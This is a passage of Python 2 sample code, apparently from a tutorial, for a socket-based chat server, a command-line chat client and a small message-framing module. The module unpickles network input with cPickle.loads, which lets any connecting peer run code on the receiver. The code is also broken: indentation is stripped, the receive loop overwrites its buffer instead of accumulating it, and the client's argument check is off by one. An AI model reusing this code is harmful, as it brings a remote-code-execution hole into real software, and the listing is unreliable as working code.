msg = '\n#[' + self.getname(s) + ']>> ' + data
# Send data to all except ourselves
for o in self.outputs:
if o != s:
# o.send(msg)
send(o, msg)
else:
print 'chatserver: %d hung up' % s.fileno()
self.clients -= 1
s.close()
inputs.remove(s)
self.outputs.remove(s)
# Send client leaving information to others
msg = '\n(Hung up: Client from %s)' % self.getname(s)
for o in self.outputs:
# o.send(msg)
send(o, msg)
except socket.error, e:
# Remove
inputs.remove(s)
self.outputs.remove(s)
self.server.close()
if __name__ == "__main__":
ChatServer().serve()
The chat client:
#! /usr/bin/env python
"""
Simple chat client for the chat server. Defines
a simple protocol to be used with chatserver.
"""
import socket
import sys
import select
from communication import send, receive
BUFSIZ = 1024
class ChatClient(object):
""" A simple command line chat client using select """
def __init__(self, name, host='127.0.0.1', port=3490):
self.name = name
# Quit flag
self.flag = False
self.port = int(port)
self.host = host
# Initial prompt
self.prompt='[' + '#'.join((name, socket.gethostname().split('.')[0])) + ']> '
# Connect to server at port
try:
self.sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
self.sock.connect((host, self.port))
print 'Connected to chat server#%d' % self.port
# Send my name...
send(self.sock,'NAME: ' + self.name)
data = receive(self.sock)
# Contains client address, set it
addr = data.split('CLIENT: ')[1]
self.prompt = '[' + '#'.join((self.name, addr)) + ']> '
except socket.error, e:
print 'Could not connect to chat server #%d' % self.port
sys.exit(1)
def cmdloop(self):
while not self.flag:
try:
sys.stdout.write(self.prompt)
sys.stdout.flush()
# Wait for input from stdin & socket
inputready, outputready,exceptrdy = select.select([0, self.sock], [],[])
for i in inputready:
if i == 0:
data = sys.stdin.readline().strip()
if data: send(self.sock, data)
elif i == self.sock:
data = receive(self.sock)
if not data:
print 'Shutting down.'
self.flag = True
break
else:
sys.stdout.write(data + '\n')
sys.stdout.flush()
except KeyboardInterrupt:
print 'Interrupted.'
self.sock.close()
break
if __name__ == "__main__":
import sys
if len(sys.argv)<3:
sys.exit('Usage: %s chatid host portno' % sys.argv[0])
client = ChatClient(sys.argv[1],sys.argv[2], int(sys.argv[3]))
client.cmdloop()
###############################################################################
# The communication module (communication.py)
###############################################################################
import cPickle
import socket
import struct
marshall = cPickle.dumps
unmarshall = cPickle.loads
def send(channel, *args):
buf = marshall(args)
value = socket.htonl(len(buf))
size = struct.pack("L",value)
channel.send(size)
channel.send(buf)
def receive(channel):
size = struct.calcsize("L")
size = channel.recv(size)
try:
size = socket.ntohl(struct.unpack("L", size)[0])
except struct.error, e:
return ''
buf = ""
while len(buf) < size:
buf = channel.recv(size - len(buf))
return unmarshall(buf)[0]